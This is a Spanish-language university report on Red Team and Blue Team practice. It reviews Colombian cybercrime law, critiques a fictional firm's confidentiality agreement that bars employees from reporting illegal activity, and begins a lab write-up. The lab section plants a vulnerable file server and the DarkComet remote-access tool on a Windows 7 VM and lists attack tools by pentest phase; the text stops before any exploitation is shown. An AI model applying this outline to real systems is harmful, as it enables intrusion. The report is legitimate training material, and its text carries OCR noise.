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Resumen

Identificacion de vulnerabilidades y analisis de riesgos elaborado como préctica de
control de las tareas que realizan los equipos estratégicos en el equipo rojo en ciberseguridad y
en el equipo azul, con el objetivo de identificar su importancia y capacidades en beneficio de las
organizaciones que utilizan la informatica. sistemas o en cualquier organizacion. con
infraestructura TIC. Mediante el uso de una metodologia de aprendizaje basada en problemas
informaticos y un laboratorio realizado en un entorno de pruebas que ejemplifica la deteccion y
contencidn de ciberataques utilizando maquinas virtuales y siguiendo una conceptualizacion que
tiene en cuenta métodos, procesos, marcos legales o leyes que rigen el problema informatico.
calderas y herramientas; que controla los equipos estratégicos del equipo rojo en ciberseguridad
y del equipo azul.

Se debe implementar de manera estructurada un conjunto de estrategias y mecanismos
que busquen apoyar el cumplimiento de los mismos procesos que se utilizan al detectar
debilidades, riesgos o fallas en la seguridad informatica tales como: exploits, virus informaticos,
entre otros, para lo cual es necesario utilizar procedimientos y asistencia establecidos para
prevenir y detectar ataques informaticos y su pronta remediacién con el uso de las llamadas
buenas practicas en ciberseguridad es a propadsito, con el fin de proteger contra amenazas el
activo mas importante de una organizacion, que es la informacion. Con lo anterior, se espera que
Red Team & Blue Team amplie el conocimiento sobre los equipos de seguridad informatica y su

aporte a la ciberseguridad en las organizaciones.

Palabras claves: ciberseguridad, amenaza, exploits, infraestructura, herramientas.



Abstract

Identification of vulnerabilities and risk analysis prepared as a control practice of the
tasks carried out by the strategic teams in the red team in cybersecurity and in the blue team,
with the objective of identifying their importance and capabilities for the benefit of organizations
that use information technology. . systems or in any organization. with ICT infrastructure.
Through the use of a learning methodology based on computer problems and a laboratory carried
out in a test environment that exemplifies the detection and containment of cyber attacks using
virtual machines and following a conceptualization that takes into account methods, processes,
legal frameworks or laws that govern the computer problem. boilers and tools; that controls the
strategic teams of the red team in cybersecurity and the blue team.

A set of strategies and mechanisms must be implemented in a structured manner that seek
to support compliance with the same processes that are used when detecting weaknesses, risks or
failures in computer security such as: exploits, computer viruses, among others, for which it is
necessary to use established procedures and assistance to prevent and detect computer attacks
and their prompt remediation with the use of so-called good practices in cybersecurity is on
purpose, in order to protect against threats the most important asset of an organization, which is
information. With the above, Red Team & Blue Team is expected to expand knowledge about

computer security teams and their contribution to cybersecurity in organizations.

Keywords: cybersecurity, threat, exploits, infrastructure, tools.



Glosario
Amenazas. Son todas las acciones que utilizan los atacantes de acuerdo con los puntos debiles
hallados.
Delito informatico. Actividad que se vuelve ilegal dentro de la justicia penal colombiana, lo
que amenaza un bien legalmente bueno de lo que es el sistema informatico e ilegalmente de la
cual la informacidn dentro de una organizacion recibe una informacién abusiva.
Exploit. Le permite verificar varias vulnerabilidades en algunas aplicaciones, en sistemas
informaticos, en activos de informacion, este uso a veces se realiza de manera no autorizada.
Informacion. Activo, que no es notable, lo que indica si las cuentas personales, de las cuentas,
tanto privadas como publicas, entre otras cosas, que tienen un valor innumerable, y esta es la
obligacion de la organizacion de la proteccion.
Riesgo. La posibilidad de que la amenaza explote o penetre la sensibilidad de las capacidades de
informacidn, lo que afecta estos activos de informacion y/o activos asociados, de modo que los
objetivos de la empresa también ven los mismos
Seguridad informéatica. Estas son las medidas que persiguen organizaciones e individuos con el
objetivo de proteger sus activos digitales para que no sean violados por los cibercriminales.
TIC. Se refiere a las diversas tecnologias utilizadas para la comunicacion con fines informativos
que se utilizan para sistemas de informacion que méas o menos se denominan redes.
Virus informatico. Se trata de software o codigos que intentan infectar un sistema informatico

para cambiar su funcionamiento y realizar una tarea especifica que generalmente es maliciosa.
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Introduccion

En el &mbito de la seguridad informatica, el pentesting y el uso de herramientas cobran
especial importancia en los procesos de evaluacion y fortalecimiento de la situacion de seguridad
de las organizaciones. Sin embargo, debemos recordar que es un contexto dindmico, que a su vez
esta influenciado por diversas regulaciones y modelos que tienen como objetivo estandarizar,
evaluar y regular aspectos relacionados con la integridad y privacidad de la informacion en
diferentes entornos tecnoldgicos.

Entre las leyes, decretos y regulaciones vigentes para cada pais se encuentra un respaldo
que apoya el buen actuar de los equipos de ciberseguridad. También es importante destacar el
uso de las herramientas disefiadas para el pentesting, algunas de software libre y otras
comerciales, sus caracteristicas, funciones y uso correcto para cada etapa del pentesting.

La combinacion de un marco ético solido y un cumplimiento normativo estricto garantiza
que las empresas no solo respondan a las amenazas actuales, sino que también establezcan un
estandar de confianza y responsabilidad en la era digital.

Para esta actividad utilizamos un banco de trabajo proporcionado por el tutor y
realizaremos el andlisis y exploracién de un escenario propuesto, el cual se enfoca en las técnicas
usadas por los equipos de ciberseguridad Red Team. Se configura un entorno simulado con la
ayuda de la herramienta Oracle VirtualBox y dos maquinas virtuales (VM Windows 7y VM
Kali Linux Purple). La finalidad de la actividad es comprender el proceso de pentesting desde la
perspectiva del atacante.

A través de este analisis, se espera obtener una comprension mas profunda de las
amenazas potenciales que enfrentan los sistemas informaticos y asi fortalecer las medidas de

seguridad relacionadas.



En este trabajo buscamos explorar los pasos y procesos gque los expertos en
ciberseguridad Blue Team deben seguir en caso de un ataque informatico en tiempo real, asi
como estrategias para corregir los sistemas después de un incidente del Red Team.

Ademas, se discutiran las diferencias entre los equipos estratégicos en ciberseguridad
Blue Team y los equipos de respuesta a incidentes de T, asi como el papel del Centro para la
Seguridad de Internet (CIS) en los equipos estratégicos en ciberseguridad Blue Team.

Lo anterior buscando el fortalecimiento de la seguridad informatica en la organizacion

con la ayuda de medidas y herramientas de TI.
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Objetivos
Objetivo General
Desarrollar estrategias de control de ataques informaticos a través de analitica de riesgos
y vulnerabilidades en una infraestructura TI, con la ayuda de herramientas y con el apoyo de los
equipos estratégicos de ciberseguridad Red Team y Blue Team, todo lo anterior toma en cuenta

el marco legal que rige sus acciones.

Objetivos Especificos

Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion en el
marco de los criterios éticos y legales que las regulan.

Consultar y verificar las leyes que regulan el funcionamiento de los equipos Red Team &

Blue Team, buscando inconsistencias entre lo solicitado y lo permitido en la documentacion
anexa disponible para esta actividad.

Demostrar vulnerabilidades en un sistema informatico utilizando metodologias y técnicas
de intrusién como miembro del equipo estratégico del Red Team de Ciberseguridad.

Formular estrategias de aislamiento analizando los riesgos de vulnerabilidades en una
infraestructura de T1 como miembro del equipo estratégico en BlueTeam Cybersecurity.

Generar un informe técnico detallado que refleje el proceso de los escenarios propuestos
en cada una de las acciones como equipo azul, equipo rojo y aspectos legales que realizaste

como experto en ciberseguridad.



14

Informe Técnico
Marco legal en Colombia delitos informaticos y proteccion de datos personales

Teniendo en cuenta las regulaciones en Colombia en cuanto a delitos informaticos y todo
lo correspondiente a proteccion de datos personales, podemos destacar:

Ley N° 527 de 1999: Define y regula el acceso y uso de mensajes de datos, comercio
electronico y firmas digitales, y establece organismos de certificacion y otras normas.

Ley No. 599 de 2000: En base a esta se expide el Codigo Penal. El articulo No. 192
establece el hecho punible de interferencia ilicita en las comunicaciones al establecer el beneficio
juridico del derecho de autor e incluye ciertos actos relacionados con delitos informaticos, como
ofrecer, vender o comprar equipos para interceptar comunicaciones entre personas.

El 5 de enero de 2009, el Congreso de la Republica de Colombia aprobd la Ley 1273, que
modifica el Codigo Penal, creando un nuevo bien juridico protegido -denominado Proteccién de
Informacion y Datos- y sistemas que utilizan informacion. y las tecnologias de las comunicaciones,
entre otras cosas, se conservan integramente”.

Al respecto, es importante aclarar que la Ley 1266 de 2008 define el término “dato
personal” como “cualquier dato asociado a una o mas personas determinadas o identificables o
que pueda estar asociado a una persona natural o juridica”. Dicho articulo obliga a las empresas a
tener especial cuidado en el manejo de los datos personales de sus empleados, ya que la ley exige
que cualquiera que “robe” e “intercepte” dichos datos solicite el permiso del propietario de estos.

Ley N° 1341 de 2009: Define los principios y conceptos de la sociedad de la informacion
y la organizacion de las tecnologias de la informacidn y las comunicaciones (TIC), crea la Agencia

Nacional del Espectro y dicta otras disposiciones (Congreso de Colombia, 2009b).
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Decreto N° 2364 de 2012: Por el que se reglamenta el articulo N° 7 de la Ley N° 527 de
1999 sobre Firmas Electronicas y Otras Disposiciones (Ministerio de 21 Comercio, Industria y
Turismo, 2002), clausula correspondiente a una de las principales direcciones del Plan de
Desarrollo para 2010-2014.

Ley N° 1581 de 2012: que reglamenta parcialmente el Decreto N° 1377 de 2013 y
establece disposiciones generales en materia de proteccion de datos personales (Congreso de
Colombia, 2012).

Decreto N° 1377 de 2013: que reglamenta parcialmente la Ley N° 1581 de 2012
(Ministerio de Comercio, Industria 'y Turismo, 2013). Decreto que expide disposiciones generales
para la proteccion de datos personales. (Congreso de Colombia, 2012).

El CONPES 3854 del 7 de marzo de 2017 se refiere a la Politica Nacional de Seguridad
Digital, cuya responsabilidad recae en la Direccién de Seguridad del presidente de la Republica,
ya que esta Ultima, como maximo drgano ejecutivo, puede garantizar el cumplimiento de la
politica. y provisiones.

Ley 1928 de 24 de julio de 2018: “Por la que se establece la “Convencion sobre Delito
Cibernético” adoptada el 23 de noviembre de 2001 en Budapest”. Las normas y reglamentos
vigentes se agrupan en cuatro apartados diferentes de la ley: Circular 029, 042, 052, anexo a la
Circular Juridica Principal denominada Circular de Seguridad Cibernética SFC CE 007 de junio

de 2018.
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Actuacion Etica y Legal
Las acciones eticas y legales de los equipos estratégicos de ciberseguridad Red Team &
Blue Team son esenciales en un entorno digital cada vez mas complejo y vulnerable.

Figura 1

Anexo 2 - Escenario 2
I— Anexo 2 - Escenario 2

Este anexo tiene la finalidad de brindar una guia para la identificacién
de un problema especifico en temas éticos y legales.

Situacion problema: Analisis legal

La organizacién CyberFort Technologieses una organizacién con
reconocimiento a nivel mundial por asesorar a grandes Gobiernos en
procesos de ciberseguridad y ciberdefensa logrando posicionarse como
la organizacién mas importante en el campo de la seguridad
informatica a nivel mundial, la organizacion ha decidido que es hora de
conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizacion CyberFort Technologieses hace
entrega de un contrato para el reclutamiento de sus equipos Red team
y Blue team; este contrato fue elaborado por un abogado que ya no
labora con la organizacion y fue despedido por encontrar algunos
procesos ilicitos. La alta gerencia no revisé los contratos con los que se
reclutara el nuevo personal, por ende, los contratos son entregados sin
modificacion alguna; ante este evento la gerencia solicita tener suma
precaucién antes de firmar el contrato y acuerdos de confidencialidad
estipulados para el fin de contratacién de personal, sin embargo la
organizacién aprovecha una serie de problemas que ha identificado en
su interior y como prueba de admisién al equipo Red team y Blue team
deciden clasificar una primera misién a la cual deberian dar respuesta
en poco tiempo y trabajar bajo presidn., “caracteristica” de estos
equipos. También deberd proyectar la instalacién de dos maquinas
virtuales por medio de virtualbox para poder ejecutar las sesiones de
pruebas en las actividades posteriores.

Fuente. Universidad Nacional y a Distancia, UNAD. (2024). Anexo 2 — Escenario 2.
https://campus118.unad.edu.co/ecbtil44/pluginfile.php/6396/mod_folder/content/0/Anex0%202

%20-%20Escenario%?202.pdf?forcedownload=1



17

Del anexo 2 — escenario 2 resaltaremos:

Para dar inicio, la organizacion CyberFort Technologies hace entrega de un contrato para
el reclutamiento de sus equipos Red Team y Blue Team; este contrato fue elaborado por un
abogado que ya no labora con la organizacion y fue despedido por encontrar algunos procesos
ilicitos.

Analisis: Aqui podemos evidenciar un proceso no ético y quizas ilegal por el actuar del
abogado y se corre el riesgo de que dicho contrato esté creado de forma tal que el acuerdo de
confidencialidad presente inconsistencias, errores o que tenga algun tipo de clausulas que vayan
en contra de la ética.

La alta gerencia no reviso los contratos con los que se reclutara el nuevo personal, por ende,
los contratos son entregados sin modificacion alguna; ante este evento la gerencia solicita tener
suma precaucion antes de firmar el contrato y acuerdos de confidencialidad estipulados para el fin
de contratacion de personal.

Analisis: Aqui podemos evidenciar que siendo la organizacion CyberFort Technologies
considerada una de las mejores del mundo en materia de ciberseguridad y, en el proceso de
reclutamiento de sus colaboradores, la firma acuerdos de confidencialidad podria tener grandes
repercusiones de encontrarse mal elaborados. Lo relevante es que la organizacion no ha
actualizado este acuerdo, luego de que quedo claro que el acuerdo fue redactado por un abogado

involucrado en procesos ilicitos dentro de la misma.

Del anexo 3 — Acuerdo resaltaremos:
Entre los firmantes, identificados anteriormente, hemos convenido en celebrar el presente

acuerdo de confidencialidad previa las siguientes consideraciones:
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Que la informacién de propiedad de CyberFort Technologies ha sido desarrollada u
obtenido legalmente, como resultado de sus procesos, programas o0 proyectos y en consecuencias
abarca documentos, datos, tecnologia y/o material que considera unico y confidencial o que es
objeto de proteccion a titulo de secreto industrial.

En consecuencia, las partes se suscriben a las siguientes clausulas:

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a través de
ninguna otra persona o de sus subalternos o funcionarios, autoridades legales, asesores o cualquier
persona relacionada con ella, la informacion confidencial o sobre procesos ilegales dentro de
CyberFort Technologies no podran ser divulgados.

Segunda. Definicién de informacion confidencial: se entiende como Informacion
Confidencial, para los efectos del presente acuerdo:

Cualquier informacion societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de utilidad, disefios industriales,
datos secretos como “datos de chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos”.

Parte receptora tenga conocimiento 0 a la que tenga acceso por cualquier medio o
circunstancia en virtud de las reuniones sostenidas y/o documentos suministrados.

La que corresponda o deba considerarse como tal para garantizar el derecho constitucional
a la intimidad, la honra y el buen nombre de las personas y deba guardarse la debida diligencia en

su discrecion y manejo en el desempefio de sus funciones.
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Cuarta. Obligaciones de la parte receptora: Se considerara como parte receptora de la
informacion confidencial a la persona que recibe la informacion, o que tenga acceso a ella. La
parte receptora se obliga a:

De ser necesario 0 conveniente segun la necesidad del titular de la informacion, se
adicionaran las obligaciones que se consideren pertinentes:

No denunciar ante las autoridades actividades sospechosas de espionaje o cualquier otro
proceso en el cual intervenga la apropiacion de informacion de terceros.

Abstenerse de denunciar y publicar la informacion confidencial e ilegal que conozca,
reciba o intercambie con ocasion de las reuniones sostenidas.

Usar la informacion confidencial que se le entregue, Unicamente para los efectos
sefialados al momento de la entrega de dicha informacion.

Mantener la informacion confidencial en reserva hasta tanto adquiera el caracter de
publica.

Octava. Solucion de controversias: Las partes (nombre estudiante — nombre empresa) se
comprometen a esforzarse en resolver mediante los mecanismos alternativos de solucion de
conflictos cualquier diferencia que surja con motivo de la ejecucion del presente acuerdo. En caso
de que la informacidn ilegal o confidencial sea encontrada en manos del receptor este debera acudir
a un abogado privado y dejar exenta de cualquier responsabilidad legal y penal a CyberFort
Technologies.

Anélisis:

Resulta sorprendente que la empresa tome en cuenta la propiedad de la informacion,
considerando que en aspectos relacionados con la implementacion de pruebas de penetracion o

pruebas de penetracion (actividad econdmica a la que se dedica) se considera propietaria de la
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informacion y de los respectivos Hallazgos. son responsabilidad de la empresa que realiza la
auditoria y no de los auditores. Como se menciono anteriormente, una vez finalizada la actividad
de auditoria, los hallazgos deben ser entregados o devueltos a la empresa que realiza la auditoria,
incluso si quien encarga este tipo de ejercicio de auditoria es una autoridad judicial en el marco de
un proceso judicial.

Se establece que la informacidn proporcionada por la empresa no puede ser divulgada ni
siquiera a las autoridades competentes, incluso si dicha informacion forma parte de procesos
ilegales como pirateria informaética, espionaje, interceptacion ilegal o acceso no autorizado a
sistemas informaticos. Cabe sefialar que el acuerdo de confidencialidad aborda aspectos
relacionados con el respeto a la privacidad, la honra y el buen nombre; mientras que actividades o
procesos ilicitos son realizados por la organizacion.

Los colaboradores son responsables ante las autoridades y no ante la organizacion por el
descubrimiento y uso indebido de la informacién confidencial de la organizacion en caso de
redadas. ElI empleado se enfrenta a posibles consecuencias legales y penales y libera a la

organizacion de cualquier responsabilidad legal o penal.

Articulos de la ley 1273 se podrian vulnerar en dicho acuerdo y especificar porqué vulnera
articulos de la ley 1273

El 5 de enero de 2009, el Congreso de la Republica de Colombia promulgé la Ley 1273
“Por medio del cual se modifica el Codigo Penal, se crea un nuevo bien juridico tutelado —
denominado “De la Proteccion de la informacion y de los datos”- y se preservan integralmente los
sistemas que utilicen las tecnologias de la informacion y las comunicaciones, entre otras

disposiciones”.
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Articulo 269A: ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema informatico
protegido o no con una medida de seguridad, o se mantenga dentro del mismo en contra de la
voluntad de quien tenga el legitimo derecho a excluirlo, incurrird en pena de prision de cuarenta 'y
ocho (48) anoventay seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes.

Analisis: La organizacion CyberFort Technologies pretende que parezca legal o
confidencial la informacion obtenida de manera ilicita.

Articulo 269B: OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO O
RED DE TELECOMUNICACION. El que, sin estar facultado para ello, impida u obstaculice el
funcionamiento o el acceso normal a un sistema informatico, a los datos informaticos alli
contenidos, o0 a una red de telecomunicaciones, incurrird en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes, siempre que la conducta no constituya delito sancionado con una pena mayor.

Analisis: La organizacion CyberFort Technologies incurre en obstaculizacién cuando de
manera deliberada busca legalizar informacidn obtenida como resultado de acciones ilegales.

Articulo 269C: INTERCEPTACION DE DATOS INFORMATICOS. El que, sin orden
judicial previa intercepte datos informaticos en su origen, destino o en el interior de un sistema
informatico, o las emisiones electromagnéticas provenientes de un sistema informatico que los
trasporte incurrira en pena de prision de treinta y seis (36) a setenta y dos (72) meses.

Analisis: Aqui podemos observar que la interceptacion de informacién a través de
chuzadas esta plenamente identificada y penalizada por la ley, mientras que la organizacion

CyberFort Technologies pretende hacerla parecer legal y producto de sus practicas.
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Articulo 269E: USO DE SOFTWARE MALICIOSO. El que, sin estar facultado para ello,
produzca, trafique, adquiera, distribuya, venda, envie, introduzca o extraiga del territorio nacional
software malicioso u otros programas de computacion de efectos dafinos, incurrird en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes.

Analisis: Se refiere al uso de cualquier software que agrupe, resuma o muestre informacién
obtenida de una practica ilegal, también constituye en mal uso de software y para ciertas acciones
pueden emplear software malicioso.

Articulo 269F: VIOLACION DE DATOS PERSONALES. El que, sin estar facultado para
ello, con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca, venda, intercambie,
envie, compre, intercepte, divulgue, modifique o emplee codigos personales, datos personales
contenidos en ficheros, archivos, bases de datos 0 medios semejantes, incurrira en pena de prision
de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

Analisis: Al utilizar instrumentos ilegales para obtener informacion personal se incurre en

la violacion de los datos personales y todo lo que implica la ley en este articulo.

COPNIA en su codigo de ética para ingenieros

El Codigo de Etica para Ingenieros del Colegio de Profesionales en Ingenieria y
Arquitectura (COPNIA) establece principios fundamentales que los ingenieros deben seguir en su
ejercicio profesional. Mencionaré los mas relevantes a continuacion.

Responsabilidades profesionales: Los ingenieros deben ejercer su profesién con
competencia, honestidad y respeto por la seguridad publica.

Integridad: Se espera que actlen con transparencia y veracidad en todas las relaciones

profesionales.
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Confidencialidad: Los ingenieros deben respetar la confidencialidad de la informacion
que reciben en el ejercicio de su profesion.

Respeto al medio ambiente: Deben considerar el impacto ambiental de sus proyectos y
trabajar por la sostenibilidad.

Justicia e igualdad: Promover la igualdad de oportunidades y evitar cualquier tipo de
discriminacion en el ejercicio profesional.

Desarrollo Profesional: Comprometerse con la capacitacion continua y el desarrollo de

habilidades.

Teniendo en cuenta los aspectos éticos y morales que debemos resaltar no s6lo como
profesionales sino también como buenos ciudadanos, asi como las correspondientes sanciones
legales que pueden imponerse a los profesionales y que pueden derivar en que un ingeniero les
impida ejercer su profesion incluso de manera permanente. Ante las situaciones descritas
anteriormente y como ingeniero, éticamente tomaria las siguientes decisiones:

v Informar a la empresa para que se revise su acuerdo de confidencialidad para evitar
posibles acciones legales o penales contra la empresa.

v No aceptar las condiciones impuestas en el acuerdo ya que violarian no solo las
leyes colombianas sino también los estatutos establecidos por COPNIA.

v' Si la organizacién me da una respuesta negativa a modificar su acuerdo de
confidencialidad para cumplir con la ley, consideraré no integrarme a dicha

empresa.



24

Punto de vista teniendo en cuenta las implicaciones legales y éticas que alli se pudieron
generar:

Considero que a pesar de que la empresa CyberFort Technologies hizo una buena labor al
mitigar la amenaza y eliminar el malware de los sistemas infectados, hizo muy mal al aprovechar
los accesos que le fueron otorgados durante la auditoria para usarlos a su favor y perjudicando a
su vez a su cliente el cual es un gobierno. La informacion obtenida es de gran importancia para
ese pais y pone en riesgo su estado, temas de defensa, politica exterior, negociaciones comerciales
y lo deja ver como débil ante otros gobiernos y empresas rivales en la industria de defensa y
tecnologia, los cuales pueden aprovecharse de esta informacion para dafar al gobierno cliente.

Es un tanto complicado que las empresas de ciberseguridad no tengan acceso a informacién
sensible de la empresa auditada, pero para esto se establecen unos limites. Las empresas deben
obtener el consentimiento explicito de sus clientes sobre qué informacion se accedera y por que.
Es crucial que se informe a los clientes sobre los limites del acceso.

Para garantizar que este acceso no sea explotado de manera indebida se debe apelar a la
ética profesional y con esto el acceso debe limitarse a la informacion que sea necesaria para realizar
la auditoria. Esto implica que no se debe acceder a datos que no sean relevantes para el propésito
especifico de la auditoria. También se hace necesario formalizar un acuerdo de confidencialidad
que proteja la informacion y establezca responsabilidades en caso de violaciones.

La parte legal juega un papel muy importante y se deben cumplir con las regulaciones y
leyes aplicables o cualquier normativa local relacionada con la proteccion de datos. También las
empresas de ciberseguridad deben garantizar que la informacion sensible esté protegida mediante
medidas adecuadas, como el cifrado y el control de acceso, para evitar filtraciones o usos

indebidos.
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Es recomendable llevar un registro detallado de qué datos se acceden y por qué, para poder
auditar el proceso y mantener la rendicion de cuentas.
Los gobiernos y organizaciones deben responder de manera contundente cuando
descubren que una empresa de ciberseguridad contratada ha cometido actos de ciberespionaje.
v’ Realizar una investigacion exhaustiva para comprender la naturaleza, alcance y motivos
del ciberespionaje. Esto puede incluir la revision de registros, entrevistas y analisis forense.
v Si la actividad es ilegal, debe notificarse a las autoridades pertinentes, como fuerzas de
seguridad o agencias de inteligencia, para que tomen las medidas necesarias.
v Considerar la suspension o cancelacion del contrato con la empresa implicada, mientras se
lleva a cabo la investigacion, para evitar mas dafios.
v Informar a los interesados (empleados, socios, clientes) sobre la situacion de manera clara
y transparente, sin generar panico, pero asegurando que se tomen en serio las implicaciones
de la violacion.
v Considerar acciones legales contra la empresa involucrada si se determina que hubo

incumplimiento de contrato o violacién de leyes.

Las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente
podrian ser las siguientes:
v’ Evaluar el impacto del ciberespionaje en la seguridad de la informacidn y en la integridad
de los sistemas de la organizacion.
v' Reevaluar y fortalecer las politicas de seguridad interna para prevenir futuros incidentes.

Esto puede incluir una revision de los procesos de seleccién y monitoreo de proveedores.
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v’ Establecer un plan de respuesta a incidentes que incluya medidas de mitigacion y
recuperacion para minimizar el dafio y restaurar la confianza.

v" Promover la educacién y la concienciacion sobre la ciberseguridad dentro de la
organizacion para gque todos estén alertas ante comportamientos sospechosos.

v' Si el ciberespionaje tiene implicaciones mas amplias o involucra actores internacionales,

colaborar con otros gobiernos o agencias para abordar el problema de manera mas efectiva.
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Ejecucion de Pruebas de Intrusion Componente Practico Red Team

Para la realizacidn de este componente practico utilizaremos las herramientas del banco de
trabajo suministradas por el tutor y teniendo en cuenta el Anexo 4 — Escenario 3 mencionado a
continuacion:
Figura 2

Anexo 4 - Escenario 3

I Anexo 4 - Escenario 3

Este anexo tiene la finalidad de brindar una guia para la identificacion
de un problema especifico en temas técnicos que se ejecutan en
equipos red team.

Situacion problema: Analisis Red Team

La primera mision del equipo Red Team es lograr identificar porqué
medio o proceso se estd generando una serie de fuga de informacion
la cual se presenta al interior de la organizacién en uno de sus equipos
de cdmputo en la dependencia. La informacion inicial con la que cuenta
el equipo es que la maquina donde se esta generando la fuga de
informacion tiene instalada una aplicacion vulnerable bajo un windows;
esta aplicacién al parecer tiene asociado un exploit que puede terminar
en un acceso a través de Shell, escalacion de privilegios u otro tipo de
ataque. Dentro de la indaciéon, también se investiga un escalamiento
de privilegios por medio de la creacién de un usuario tipo administrador
del sistema.

El equipo de forense genera una copia del servidor y esta es entregada

a usted como experto, debe validar la posible falla de seguridad y si

esta es explotada debe crear un usuario con su primer nombre y primer

apellido, el usuario debe ser administrador esto con el fin de demostrar

una PoC ante los altos directivos.
Fuente. Universidad Nacional y a Distancia, UNAD. (2024). Anexo 4 — Escenario 3.
https://campus118.unad.edu.co/echtil44/pluginfile.php/6398/mod_folder/content/0/Anex0%204

%20-%20Escenario%203.pdf?forcedownload=1
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En el ejercicio propuesto en la guia se utilizaron las siguientes herramientas software: VirtualBox,
maquina virtual Windows 7 y maquina virtual Kali Linux Purple.

Figura 3
Oracle VM VirtualBox

Y Oracle VM VirtualBox Administrador - o X
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Nueva Afiadi = Configuracén Descartar Iniciar

- ESISeg.DB [ General [ previsualizacion
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W7 @ apsgada g: Grupos: Esl Seg. DB
[®] sistema
EFP™ kalidonypurple Memoria base: 208618 Win7-SE2020-X64
, @ Apagada Orden de arranque:  Optica, Disco duro
Aceleracion: Pagnacicn anidada,
Paravirtualizacion
&P ubuntu2404 EE=l
, @ Apagada
(™) Ppantalla
Memoriz de video: 18MB
Cantralador grafico: VBaxSVGA
Servi critorio remoto:  Inhabilitado
Grabaddn: Inhabiltado

Almacenamiento

Controlador: SATA
Puerto SATAQ:  Win7-SE2020-X64-disk00 L.vdl {Normal, 50.00 GB)
Puerto SATA 1@ [Unidad dptica] Vacio

{0 Audio

Controlador de anfitrign:  Windows DirectSound

Controlador: Audio Intel HD

=P Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek PCle FE Family
Controllers)

5 use

Controlador USB: OHCI, EHCT
Filtros de dispositivos: 0 (0 activo)

[C] carpetas compartidas
Ninguno

(&) Descripcion

Minguno

Fuente. Autoria Propia

Figura 4

Herramientas Usadas en el Anexo 4 — Escenario 3 (Maquina Virtual Windows 7)
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Fuente. Autoria Propia



Figura 5

Herramientas Usadas en el Anexo 4 — Escenario 3 (Maquina Virtual Kali Linux Purple)
ﬂ X

a- ’og’ﬂv 1 2 e B o0 aosn|ac

& & B G @ creperecHA

Fuente. Autoria Propia

Figura 6

Herramientas Usadas en Cada Fase del Pentesting

FASE DEL PENTESTING HERRAMIENTA USADA EN LA FASE
NMAP
RECONOCIMIENTO
WHOIS
NMAP
ANALISIS DE VULNERABILIDADES NETCAT
EXPLOTACION METASPLOIT FRAMEWORK
METERPRETER
POSTEXPLOTACION/ESCALA DE VILLAIN
PRIVILEGIOS MSFVENOM
POWERUP
INFORME DRADIS

Fuente. Autoria Propia
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Datos e informacidn Utiles para identificar los fallos de seguridad de la VM Windows 7:

Figura7

Caracteristicas de la Maquina Virtual Windows 7
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remoto Copyright © 2009 Microsoft Corporation. Reservados todos los
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'@7 Configuracidn avanzada del Service Pack1

sistemna

Sistema
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Procesador: Intel(R) Core(TM) i5-42100 CPU @ 1.70GHz 2.39 GHz
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Fuente. Autoria Propia
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Podemos analizar que el sistema operativo utilizado tiene fallos de seguridad debido a su

version y por estar obsoleto; ya que, después de él vienen sistemas operativos mucho mas

actualizados como lo son: Windows Vista, Windows 8, Windows 8.1, Windows 10 y Windows

11. En figura 7 podemos apreciar que no cuenta siquiera con la activacion del sistema operativo.

También se observa que el antivirus Windows defender se encuentra desactualizado y que no
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cuenta con ningun otro software antivirus instalado y lo peor es que hasta el firewall lo tiene

desactivado. Se puede notar que al iniciar el equipo tampoco cuenta con una contrasefia asignada.
Para realizar la practica de manera correcta se nos facilita en el banco de trabajo un software

Ilamado Rejjeto, el cual debe estar instalado en la maquina virtual Windows 7 para esta practica.

Figura 8

Instalacion Rejjeto (Descargar del Banco de Trabajo)

BAMCO DE... » HERRAMIEMNTAS w| @ | Buscar en HERRAMIENTAS
- Mombre Fecha de modificacian
Rejjeto_123456 14/10/2024 02:07 p. m.

|j kali-linux-2024.1-installer-purple-amd&d 21/05/2024 0443 p. m.

E Rejjeto_123456 14/10/2024 01:51 p. m.

N VirtualBox-7.0.18-162988-Win 13/07/2024 08:48 a. m.

W Win7-SE2020-X64 14/10/2024 01:58 p. m.

Fuente. Autoria Propia
Figura 9

Instalacion Rejjeto (Copiar Mediante Memoria USB a la VM Windows 7)
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Fuente. Autoria Propia



Figura 10

Instalacion Rejjeto (copiar al escritorio de la VM Windows 7)

|
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Fuente. Autoria Propia

Figura 11

n Rejjeto (Extraccion con 7zip al Escritorio de la VM Windows 7)
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Fuente. Autoria Propia
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Figura 12

Instalacion Rejjeto (HTTP File Server en VM Windows 7)

2KB  File JAVA
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Fuente. Autoria Propia

Figura 13

Instalacién Rejjeto (DarkComet) en VM Windows 7 (extraccion con 7zip)
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Fuente. Autoria Propia
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Figura 14
Instalacion Rejjeto (DarkComet) en VM Windows 7
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Fuente. Autoria Propia

Herramientas utilizadas para identificar vulnerabilidades en la VM Windows 7
En el proceso de identificacion de los posibles fallos de seguridad, se utilizaron las

Herramientas Kali Linux, Nmap y Metasploit.

Lo primero que debemos validar es la direccion IP de las VMs'y lo hacemos de la siguiente

manera: Para la VM Kali Linux Purple lo hacemos desde una terminal con el comando ifconfig.

Para la VM Windows 7 lo hacemos desde una terminal con el comando ipconfig.
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Figura 15

Verificacion Direcciones IP de las VMs
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Fuente. Autoria Propia

Aqui podemos notar que la direcciéon IP de la VM Kali Linux Purple es: 192.168.1.26 y la

direccion IP de la VM Windows 7 es: 192.168.1.25.

Para iniciar el proceso de escaneo es necesario que ambas maquinas se puedan detectar en la red,
